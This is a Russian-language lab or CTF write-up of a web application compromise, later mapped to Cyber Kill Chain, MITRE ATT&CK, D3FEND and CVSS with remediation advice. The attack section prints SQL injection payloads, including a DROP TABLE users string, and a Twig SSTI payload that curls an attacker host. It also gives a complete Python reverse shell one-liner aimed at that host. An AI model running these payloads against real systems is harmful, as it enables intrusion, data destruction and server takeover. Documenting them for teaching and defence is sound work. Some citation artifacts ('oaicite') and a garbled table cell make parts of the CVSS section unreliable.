Реализация атаки
Enumeration/Сбор информации о целевой системе.
В рамках начального этапа оценки безопасности информационной системы критически важно осуществить глубокую и методологически разведку целевого хоста. Для этого широко применяется утилита Nmap (Network Mapper), являющаяся стандартом в арсенале специалистов по информационной безопасности.
Было принято решение использовать следующую команду для выполнения автоматизированной энумерации:
nmap -sC -sV -T4 10.10.116.89 -oN initial.txt
Данная команда представляет собой эффективное сочетание параметров, позволяющее не только определить список открытых портов, но и провести базовую идентификацию запущенных сервисов и версий приложений.
Ниже представлена детальная расшифровка каждого параметра, используемого в команде (см. Таблица 1и см. Рисунок 1).
Таблица 1 – Описание использованной утилиты nmap
Параметр команды | Название / Категория | Описание |
-sC | Default Scripts Scan | Запускает набор предустановленных NSE (Nmap Scripting Engine) скриптов. Эти скрипты включают в себя проверки на распространённые уязвимости, метаданные, баннеры и т. д. Подходит для быстрой разведки. |
-sV | Version Detection | Позволяет идентифицировать версии сервисов, работающих на открытых портах, используя технику баннер-граббинга и иные методы определения сигнатур. Эта информация критически важна для последующего анализа CVE. |
-T4 | Timing Template (Aggressive) | Оптимизирует скорость сканирования за счёт уменьшения таймаутов и увеличения числа одновременных потоков. Значение |
-oN initial.txt | Output Normal Format | Сохраняет результат сканирования в текстовом файле в читаемом (человекоориентированном) формате. Это полезно для последующего анализа, составления отчёта и повторной проверки данных. |

Комбинация флагов -sC
и -sV
позволяет провести начальный аудит удалённого хоста с минимальными временными затратами, предоставляя при этом ценные сведения о запущенных службах и потенциальных точках входа. В условиях ограниченного временного окна использование шаблона времени -T4
позволяет значительно ускорить процесс сбора данных. Здесь стоит обратить внимание на агрессивное сканирование, так как оно может вызвать сильный «шум», легко обнаруживаемый SIEM-системой.
Разведка веб-контента поверхностного уровня/Surface Web Reconnaissance
В процессе проведения оценки безопасности веб-приложения, одной из ключевых задач на этапе разведки (reconnaissance) является выявление скрытых или нестандартных ресурсов, таких как директории и файлы, недоступные напрямую через пользовательский интерфейс. Для достижения этой цели целесообразно использовать утилиту Gobuster — высокопроизводительный инструмент на базе Go, предназначенный для быстрого перебора URI-ресурсов посредством словарных атак (dictionary-based enumeration).
Одновременное выполнение автоматизированной энумерации веб-контента и ручного анализа веб-интерфейса позволяет сформировать более полную картину архитектуры целевого приложения, выявить неочевидные точки входа и потенциальные места хранения конфиденциальных данных.
Была применена следующая команда:
gobuster dir -u http://10.10.34.78 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,js,txt,php,db,json,log -k 2>/dev/null
Команда запускает направленный перебор директорий и файлов на целевом сервере, используя предварительно составленный словарь. Ниже представлена таблица с подробной расшифровкой всех параметров (см. Таблица 2 и Рисунок 2):
Таблица 2 – Описание использованной утилиты Gobuster
Параметр команды | Название / Категория | Описание |
dir | Метод сканирования | Определяет режим работы Gobuster: |
URL целевого ресурса | Указывает базовый адрес веб-приложения, подлежащего сканированию. Протокол ( | |
-w /usr/share/seclists/.../directory-list-2.3-medium.txt | Словарь | Файл-словарь, содержащий наиболее вероятные имена директорий и файлов. Данный список является частью проекта SecLists и широко используется в OSCP и CTF. |
-x html,js,txt,php,db,json,log | Расширения файлов | Позволяет Gobuster дополнительно проверять указанные расширения файлов (например, |
-k | Игнорировать ошибки SSL | Используется в случае, если бы соединение было по HTTPS и имелись проблемы с SSL-сертификатом. В данном контексте безопасен, но использовать с осторожностью. |
2>/dev/null | Перенаправление потока ошибок | Отфильтровывает сообщения об ошибках, перенаправляя stderr в |

Комбинация автоматизированного перебора URI и ручного анализа веб-приложения представляет собой гибридный подход, сочетающий в себе скорость и масштабируемость машины. Это позволяет быстрее идентифицировать ресурсы, не предназначенные для публичного доступа, такие как резервные копии (.bak
, .db
), журналы (.log
) или тестовые скрипты (.php
, .json
), которые могут содержать уязвимости или чувствительные данные.
Выявление информации в комментариях HTML
В процессе анализа исходного кода (через view-source
) было обнаружено следующее:
<!-- Mails are stored in mail.log file -->
Подобный комментарий указывает на наличие серверного лог-файла, где хранятся сообщения электронной почты. Его наличие уже само по себе представляет потенциальный риск раскрытия конфиденциальных данных, особенно в случае его публичной доступности, что и подтвердилось по адресу:
Содержимое mail.log
выявило внедренный механизм сохранения backdoor-доступа, автоматически восстанавливающий учетные записи с фиксированными учетными данными в случае нарушения целостности таблицы пользователей.


Анализ клиентского скрипта script.js
: фильтрация SQL-инъекций и уязвимости
const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
if (username.includes(keyword)) {
alert('Invalid keywords detected');
return false;
}
На первый взгляд, разработчик реализует простую клиентскую фильтрацию SQL-инъекционных конструкций (см. Рисунок). Однако такая фильтрация:
легко обходится через мутацию (например, UnIon, sel/**/ect);
выполняется только на клиентской стороне, что нарушает фундаментальное требование — всегда проводить проверку данных на сервере (server-side validation).
Клиентский JS-файл отправляет учетные данные в functions.php
методом POST
:
$.ajax({
url: 'functions.php',
type: 'POST',
data: {
username: username,
password: password,
function: "login"
},
Проблемы:
Отсутствие CSRF-токенов.
Отсутствие защиты от brute-force и rate-limiting.
Клиент определяет поведение (function: "login"), что уязвимо к фальсификации запроса (Parameter Tampering).

Потенциальные векторы атак
Directory Browsing / Direct File Access — доступ к
mail.log
напрямую.Stored Credentials Abuse — использование известных креденшелов для авторизации.
Client-Side Bypass — обход фильтрации
invalidKeywords
через обфускацию или смену регистра.Parameter Tampering — подмена параметра
function
в AJAX-запросе.
Рекомендации по устранению:
Удалить все HTML-комментарии, содержащие внутреннюю информацию.
Закрыть доступ к лог-файлам на уровне веб-сервера (
.htaccess
, Nginxdeny
).Заменить клиентскую фильтрацию SQL-инъекций на серверную с использованием подготовленных выражений (
prepared statements
).Исключить автоматическую генерацию учетных данных в продуктивной среде.
Реализовать строгую аутентификацию, шифрование паролей, защиту от брутфорса и CSRF.
На данном этапе представлена эксплуатации уязвимости типа SQL Injection (SQLi) в веб-приложении, основанная на захвате запроса и последующем использовании специализированного словаря для атак с помощью инструмента Intruder, входящего в состав утилиты Burp Suite. Анализируются результаты ответов сервера, включая коды статуса HTTP и размер тела ответа, как критерии успешности инъекции.
SQL-инъекции (SQLi) продолжают оставаться одной из наиболее распространённых и опасных уязвимостей в веб-приложениях, несмотря на обилие современных средств защиты.
На начальном этапе выполняется перехват HTTP-запроса, инициируемого при аутентификации пользователя (см. Рисунок 6).

Запрос передаётся в модуль Intruder, где к параметрам применяются полезные нагрузки из словаря SQLi (см. Рисунок 7).

Все запросы возвращают код состояния HTTP 200 OK
, следовательно, анализ производится на основе различий в размере тела ответа. Ответ длиной 488 байт
выделяется как потенциально успешный инъекционный случай (см. Рисунок 8).

Используется классическая тестовая полезная нагрузка ' || 1=1 -- -
, вводимая в параметр username
, с последующим анализом поведения системы (см. Рисунок 9).

В рамках демонстрации возможности разрушительной атаки в значение параметра передаётся последовательность, содержащая ; DROP TABLE users
.


Вход под учетной записью админа с использованием данных наеденных в файле mail.log (см Рисунок 11). При удалении таблицы users автоматически восстанавливаются учетные записи с фиксированными учетными данными в случае нарушения целостности таблицы пользователей.

Были проанализированы результаты ранее запущенного инструмента Gobuster, выявившего наличие файла composer.json
, который содержит метаданные о зависимостях проекта, в частности, информацию о библиотеке Twig (см. Рисунок 11).

Использование Twig как шаблонного движка позволяет предположить потенциальную уязвимость SSTI, что подтверждается тестовым внедрением выражения {{2*2}}
в поле "first name" в разделе "Update Profile". Отображение результата 4
на главной странице свидетельствует об успешной интерпретации выражения сервером (см. Рисунок 12).

Успешно идентифицирована и эксплуатирована уязвимость типа Server-Side Template Injection (SSTI) в параметре ввода пользователя first name веб-приложения, построенного на PHP-движке с использованием шаблонизатора Twig. Показан пошаговый процесс эскалации атаки: от первоначальной валидации инъекции с помощью команды id
, до реализации полноценного обратного соединения (reverse shell) с целью получения интерактивного доступа к командной оболочке целевого сервера.
В параметр first name
было внедрено тестовое SSTI-выражение:
{{['id','']|sort('passthru')}}
Это выражение использует встроенные фильтры Twig для выполнения системной команды id
на серверной стороне. Визуализация результатов выполнения команды на странице Dashboard подтвердила наличие уязвимости (см. Рисунок 13).

Для дальнейшей эксплуатации уязвимости на атакующей машине был запущен локальный HTTP-сервер с помощью Python. Также был открыт порт 443 для приема входящих TCP-соединений (см. Рисунок 14).

В уязвимый параметр first name
было внедрено следующее SSTI-выражение:
{{['curl 10.21.12.189','']|bash('passthru')}}
Данное выражение инициировало загрузку файла index.html
с атакующей машины, содержащего скрипт для создания обратного соединения (см. Таблица 3).
Таблица 3 – Объяснения параметров и структуры команды «движка» php.
Элемент команды | Описание | Назначение в контексте эксплуатации |
{{ ... }} | Синтаксис шаблонизатора Twig для интерполяции выражений. | Обозначает блок, в котором Twig интерпретирует и исполняет код. |
['curl 10.21.12.189',''] | Массив из двух строк: первая — команда | Передается в качестве аргумента для последующей обработки фильтром. |
curl 10.21.12.189 | Команда для отправки HTTP-запроса к IP-адресу | Загружает вредоносный скрипт (например, обратный шелл) с атакующей машины. |
| Пустой элемент массива.
| В данном контексте часто добавляется для корректной работы функций обработки массива. |
` | ` (пайп/конвейер) | Символ применения фильтра к результату выражения слева. |
bash('passthru') | Пользовательский фильтр (обычно запрещенный, но здесь уязвимый) для выполнения команд оболочки через | Используется для передачи массива как аргумента в системную команду оболочки bash через функцию |
В файл index.html
был помещен Python-скрипт для реализации обратного шелла (см. Таблица 4):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.21.12.189",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
После успешной загрузки и выполнения скрипта на целевой машине было установлено стабильное интерактивное соединение с привилегиями пользователя, от имени которого функционировало приложение.
Таблица 4 – Описание команды reverse shell на Python 3.
Часть команды | Описание | Назначение |
python3 | Запуск интерпретатора Python версии 3 | Используется для выполнения последующего однострочного скрипта. |
-c | Флаг -c указывает интерпретатору выполнить переданную строку как код | Позволяет выполнить Python-скрипт прямо из командной строки без создания отдельного файла. |
'...' | Строка, содержащая весь Python-скрипт | Вся полезная нагрузка (payload) обернута в кавычки и передана как одна строка к флагу -c. |
import socket, subprocess, os | Импорт стандартных библиотек Python: socket, subprocess, os | Необходимые модули для сетевого взаимодействия, выполнения команд и управления файловыми дескрипторами. |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | Создание TCP-сокета (AF_INET = IPv4, SOCK_STREAM = TCP) | Готовит объект сокета для установления TCP-соединения с атакующим. |
s.connect(("10.21.12.189",443)) | Инициирует подключение к IP-адресу атакующего на порт 443 | Устанавливает исходящее соединение (обратная связь) с машиной атакующего. |
os.dup2(s.fileno(), 0) | Дублирует файловый дескриптор сокета на стандартный ввод (stdin) | Перенаправляет ввод оболочки на сетевое соединение. |
os.dup2(s.fileno(), 1) | Дублирует файловый дескриптор сокета на стандартный вывод (stdout) | Перенаправляет вывод оболочки на сетевое соединение. |
os.dup2(s.fileno(), 2) | Дублирует файловый дескриптор сокета на стандартный поток ошибок (stderr) | Перенаправляет ошибки оболочки на сетевое соединение. |
import pty | Импорт модуля pty для управления псевдотерминалом | Требуется для создания полноценной интерактивной оболочки. |
pty.spawn("/bin/bash") | Запускает интерактивную оболочку /bin/bash через псевдотерминал | Делает оболочку более "настоящей" (например, для работы команд типа su, ssh, nano). |
Демонстрация успешной эксплуатации SSTI-уязвимости подтверждает критическую важность защиты полей пользовательского ввода в веб-приложениях. В случае ненадлежащей обработки данных шаблонизатором, злоумышленник способен эскалировать привилегии и получить полный контроль над серверной инфраструктурой.
Даже на базовом уровне навыков возможно реализовать обратное подключение к целевой системе, что должно стимулировать разработчиков к применению практик безопасной разработки, таких как строгая валидация ввода и изоляция движков шаблонов.
Распределение этапов атаки в контексте модели Cyber Kill Chain
Последовательные действия атакующего были сопоставлены с моделью Cyber Kill Chain, разработанной компанией Lockheed Martin. Эта модель является стандартом для анализа и описания фаз целевых кибератак. Ниже представлено детальное сопоставление каждого этапа атаки с соответствующей фазой Kill Chain, с пояснением сути каждой активности (см. Таблица 5).
Таблица 5 – Сопоставление этапов с моделью Cyber Kill Chain.
№ | Этап Cyber Kill Chain | Действие в сценарии | Пояснение |
1 | Reconnaissance (Разведка) | Сканирование сети с помощью Nmap | Идентификация открытых портов и сервисов для определения возможных векторов атаки. Использование активного сканирования. |
2 | Weaponization (Создание оружия) | Перечисление скрытых файлов (Hidden Files) | Поиск скрытых или забытых файлов для последующей эксплуатации обнаруженных векторов атак. |
3 | Delivery (Доставка) | Bypass логина через SQL Injection | Доставка вредоносного ввода через поле авторизации, что приводит к успешной SQL-инъекции. |
4 | Exploitation (Эксплуатация) | Удаление таблицы пользователей через SQLi | Активное использование SQL-инъекции для разрушения критических данных базы данных. |
5 | Installation (Установка) | Вход в систему как администратор | Закрепление доступа, использование украденных учетных данных для дальнейших действий на целевой системе. |
6 | Command and Control (C2) (Командование и контроль) | Инъекция кода через SSTI (Server-Side Template Injection) | Установка возможности выполнять команды на сервере через уязвимость шаблонизатора Twig. |
7 | Actions on Objectives (Достижение целей) | Получение обратного шелла (reverse shell) | Полный контроль над целевой системой посредством подключения к оболочке через управляемый канал. |
8 | Wrapping Up (Завершение) | Завершение операции | Скрытие следов атаки, фиксация результатов, возможная эксфильтрация данных или закрепление долгосрочного контроля. |
Применение структуры Cyber Kill Chain позволяет систематизировать процесс атаки, детализировать каждую фазу и представить атаку как управляемую, целенаправленную активность. Такой подход применим как для анализа инцидентов, так и для построения систем киберзащиты.
Построение Матрицы MITRE ATT&CK
В рамках проведённой атаки была осуществлена систематизация действий в соответствии с таксономией фреймворка MITRE ATT&CK for Enterprise. Данный фреймворк представляет собой стандарт описания поведения противников в области информационной безопасности, ориентированный на моделирование тактик, техник и процедур (TTPs).
Провели сопоставление наших действия с соответствующими тактиками и техниками MITRE ATT&CK. Это позволило не только стандартизировать описание пройденного пути атаки, но и облегчить дальнейший процесс построения средств обнаружения, предотвращения и реагирования на аналогичные угрозы (см. Рисунок 15 Таблица 6).

Таблица 6 – Описание сценария на основе Mitre Attack.
№ | Тактика (Tactic) | Техника (Technique) | ID техники (T-ID) | Действие в сценарии | Пояснение |
1 | Reconnaissance | Active Scanning | T1595 | Сканирование сети с помощью Nmap | Сканирование портов для выявления открытых сервисов. |
2 | Discovery | File and Directory Discovery | T1083 | Перечисление скрытых файлов | Поиск скрытых ресурсов веб-приложения для подготовки атаки. |
3 | Initial Access | Exploitation for Web Application | T1190 | Bypass логина через SQL Injection | Эксплуатация уязвимости SQL Injection для получения доступа. |
4 | Impact | Data Destruction | T1485 | Удаление таблицы пользователей через SQLi | Удаление критической таблицы users через SQL-инъекцию. |
5 | Persistence | Valid Accounts | T1078 | Вход в систему как администратор | Использование валидных учетных данных для поддержания доступа. |
6 | Execution | Server-Side Template Injection (SSTI) (Custom, mapped к Execution) | (нет прямого ID, custom TTP) | Инъекция кода через SSTI | Выполнение команд на сервере через уязвимость шаблонов Twig. |
7 | Command and Control (C2) | Application Layer Protocol: Web Protocols | T1071.001 | Получение обратного шелла (reverse shell) | Управление целевым сервером через TCP-соединение (обратная оболочка). |
8 | Defense Evasion | Indicator Removal on Host | T1070 | Завершение операции | Очистка следов атаки на целевой системе. |
Формирование сопоставления с MITRE ATT&CK критически важно для:
Создания целостной картины атакующего поведения (adversary emulation plans),
Построения тестов в рамках purple team/blue team инициатив,
Разработки эффективных стратегий защиты и мониторинга на основе реальных векторов атак.
Кроме того, подобная формализация значительно облегчает подготовку отчетности для руководства и обоснование необходимости внедрения дополнительных средств защиты.
MITRE D3FEND
MITRE D3FEND — это фреймворк защитных техник, дополняющий ATT&CK: если ATT&CK описывает, что делает злоумышленник, то D3FEND показывает, как с этими действиями бороться. Каждая техника ATT&CK имеет одну или несколько соответствующих техник D3FEND, которые называются контрмерами (countermeasures).
Использование D3FEND позволяет:
Стандартизировать описание защитных мероприятий.
Выстроить чёткую карту внедрения защитных технологий и процедур.
Приоритизировать усилия команды SecOps и сократить окно реагирования на инциденты.
Таблица 7 – Применение матрицы MITRE D3FEND к матрице MITRE ATTACK
№ | Тактика (ATT&CK) | Техника ATT&CK | ID ATT&CK | Техника D3FEND | ID D3FEND | Тип меры | Описание контрмеры |
1 | Reconnaissance (Разведка) | Active Scanning: Network Scanning | T1595.002 | Network Traffic Community Deviation (NTCDEV) | D3-NTCDEV | Detective | Анализ аномалий сетевого трафика для выявления подозрительных сканирующих запросов, исходящих из одной или нескольких точек. |
2 | Discovery (Обнаружение) | File and Directory Discovery | T1083 | File System Access Auditing (FSAA) | D3-FSAA | Detective | Ведение журналов и мониторинг операций открытия/чтения/записи файлов, чтобы отследить массовое или несанкционированное перечисление директорий. |
3 | Initial Access (Первичный доступ) | Exploitation for Web Application | T1190 | Web Application Hardening (WAHR) | D3-WAHR | Preventive | Внедрение WAF, SSL/TLS, безопасная конфигурация веб-сервера и механизмов проверки входных данных для предотвращения SQLi-атак. |
4 | Impact (Воздействие) | Data Destruction | T1485 | Data Backup (DATABK) | D3-DATABK | Preventive | Регулярное создание и проверка резервных копий базы данных, чтобы можно было быстро восстановить удалённую таблицу “users”. |
5 | Persistence (Закрепление) | Valid Accounts | T1078 | Credential Monitoring (CRMON) | D3-CRMON | Detective | Мониторинг создания, изменения и использования учетных записей, включая аномалии входа, многократные неудачные попытки, назначение повышенных прав. |
6 | Execution (Выполнение) | SSTI (Server-Side Template Injection) | T1203 (custom) | Input Data Filtering (IDFILT) | D3-IDFILT | Preventive | Применение строгих политик валидации и фильтрации входных данных в шаблонизаторе, отключение опасных функций, изоляция шаблонов в песочнице. |
7 | Command & Control (C2) | Application Layer Protocol (Web) | T1071.001 | Encrypted Channel Inspection (ECI) | D3-ECI | Detective | Декодирование и анализ HTTPS-трафика (SSL/TLS) на наличие нестандартных шаблонов C2-канала, включая подозрительные URL-паттерны. |
8 | Defense Evasion (Уклонение) | Indicator Removal on Host | T1070 | File Deletion Detection (FILEDEL) | D3-FILEDEL | Detective | Отслеживание операций удаления или изменения системных и лог-файлов, генерация алертов при удалении важных ведений аудита. |
Используем полученную таблицу MITRE D3FEND следующим образом:
· Интеграция в SIEM и SOAR. Добавляем правила детектирования D3-FSAA, D3-CRMON и D3-FILEDEL в ваши системы SIEM/EDR для автоматического оповещения о подозрительных операциях.
· Обновление процедур безопасности. Для D3-WAHR и D3-IDFILT документируем новые требования в стандартах Secure Development Lifecycle (SDLC) и проводим настройку шаблонов для DevOps-пайплайнов.
· Отчётность и KPI. Применяем D3-NTCDEV и D3-ECI как ключевые индикаторы эффективности (KPI) для мониторинга уровня защищённости сети и каналов связи.
· Периодическое тестирование. Проводим Red Team-упражнения, пытаясь обойти D3FEND-контрмеры, и обновляем матрицу по мере появления новых техник.
Систематическое сопоставление MITRE ATT&CK и MITRE D3FEND позволяет не только выявлять слабые места в защите, но и выстраивать воспроизводимые контрмеры. Такой подход повышает зрелость управления уязвимостями и сокращает время реакции на инциденты, ориентируясь на конкретные приёмы злоумышленников.
Оценка сценария атаки по CVSS.
Base Metrics
Для оценки приведённого сценария атаки по CVSS v3.1 Base Metrics была выбрана наиболее критичная уязвимость — удалённое выполнение кода через SSTI-инъекцию, завершившуюся получением обратного шелла. Все параметры Exploitability характеризуют лёгкую, повторяемую атаку с любой точки сети, не требующую прав или взаимодействия пользователя. Scope изменяется, поскольку выполнение команд на сервере выходит за пределы приложения. Конфиденциальность, целостность и доступность полностью нарушаются (см Рисунок 16 и Таблица 8).

Таблица 8 – Пояснение значения и классификация Base Metrics.
Метрика | Значение | Обоснование |
Attack Vector | N | Атака выполняется удалённо по сети, без физического доступа к системе, через уязвимость веб-шаблонизатора. |
Attack Complexity | L | Детерминированный, без специальных условий |
Privileges Required | N | Первоначально для эксплуатации SSTI не требуются учётные данные или доступ к приложению, атака возможна для неавторизованного злоумышленника (анонимного Интернет-пользователя) |
User Interaction | N | Для запуска инъекции не требуется никаких действий со стороны другого пользователя — всё управляется атакующим напрямую. |
Scope | C | уязвимость в шаблонизаторе (в рамках одного компонента, например, веб-приложения) приводит к выполнению кода на уровне ОС и выходу за пределы первоначальной зоны доверия приложения |
Confidentiality Impact | H | Обратный шелл даёт полный доступ к файлам и данным, компрометация конфиденциальности является полной. |
Integrity Impact | H | Атакующий может модифицировать любые файлы, настраивать систему и внедрять произвольный код — полная потеря целостности. |
Availability Impact | H | Через шелл и удалённое выполнение кода злоумышленник способен выключить сервисы, удалить файлы или организовать DoS — полная потеря доступности. |
Такой CVSS Base Score указывает на критическую угрозу безопасности, требующую незамедлительного реагирования: патчей, ограничения сетевого доступа и ужесточения конфигурации шаблонизатора.
Temporal Score Metrics
Ниже представлен анализ временных метрик (Temporal Metrics) стандарта CVSS v3.1 для описанного сценария атаки. Временные метрики отражают текущую зрелость эксплойт-кода, наличие и статус исправлений, а также степень доверия к опубликованным данным о уязвимости (см Рисунок 17 и Талица 9).

Таблица 9 – Пояснение значения и классификация Temporal Score Metrics.
Метрика | Значение | Обоснование |
Exploit Code Maturity (E) | Proof-of-Concept (P) | Для атаки был создан однострочный PoC-эксплойт (SSTI + reverse shell), доступный только участникам тестирования и требующий ручной доработки в зависимости от окружения. |
Remediation Level (RL) | Unavailable (U) | Официальных или неофициальных исправлений уязвимости на момент оценки не существует; единственное решение — ручная деактивация уязвимого шаблонизатора |
Report Confidence (RC) | Confirmed (C) | Наличие подробного описания, логов эксплуатации и возможности воспроизведения подтверждают достоверность уязвимости. |
Таким образом, с учётом текущего состояния эксплуатации и отсутствия исправлений, Temporal Score подчёркивает высокую приоритетность оперативного реагирования и внедрения надёжных контрмер.
Environmental Metrics
Ниже приведено сопоставление описанного сценария атаки с Environmental Metrics CVSS v3.1, а именно с Security Requirements (CR, IR, AR). Эти метрики позволяют скорректировать оценку с учётом важности затронутых активов в инфраструктуре организации и наличия дополнительных контрмер (см. Рисунок 18 и Таблица 10).

Рисунок 18 – Оценка сценария по CVSS Environmental Metrics (Security Requirements)
Таблица 10 – Пояснение значения и классификация Environmental Metrics (Security Requirements)
Метрика | Значение | Обоснование |
CR | High (H) | Полный доступ к пользовательским данным и их утечка (admin-почта, пароли и пр.) приводит к серьёзным репутационным и финансовым потерям. oaicite:4 |
IR | High (H) | Атакующий может модифицировать любые файлы и данные в БД (удаление таблицы users, установка бэкдора), что разрушает целостность системы. oaicite:5 |
AR | High (H) | Контроль над оболочкой и возможность отключения сервисов (DoS, блокиро (CVSS v3.1 User Guide)ит к критической недоступности. oaicite:6 |
Ниже представлено расширенное описание итоговой шкалы оценок по метрике CVSS, отражающее все три группы показателей — Base, Temporal и Environmental — с учётом специфики исследуемой веб-эксплуатации (см. Рисунок 19).

Рисунок 19 – итоговой шкалы оценки по метрике CVSS
Подобная многоуровневая аналитика демонстрирует, как современные практики этичного хакинга и Red Team-упражнений могут быть формализованы для научной публикации, удовлетворяя строгости требований и служа методологической основой для дальнейших исследований в области кибербезопасности.
Заключение
В работе продемонстрирован комплексный подход к оценке защищённости веб-приложения — от практической реализации эксплуатации уязвимостей до обнаруженных приёмов и выработки соответствующих контрмер.
Для новичков показана вся сложность процесса — от первых шагов в сканировании до глубокой аналитики метрик и выработки превентивных и детективных мер. Именно сочетание hands-on опыта и методологических «жесткостей» обеспечивает высокий уровень зрелости любого Security Operations Center и прокладывает путь к настоящей проактивной киберзащите.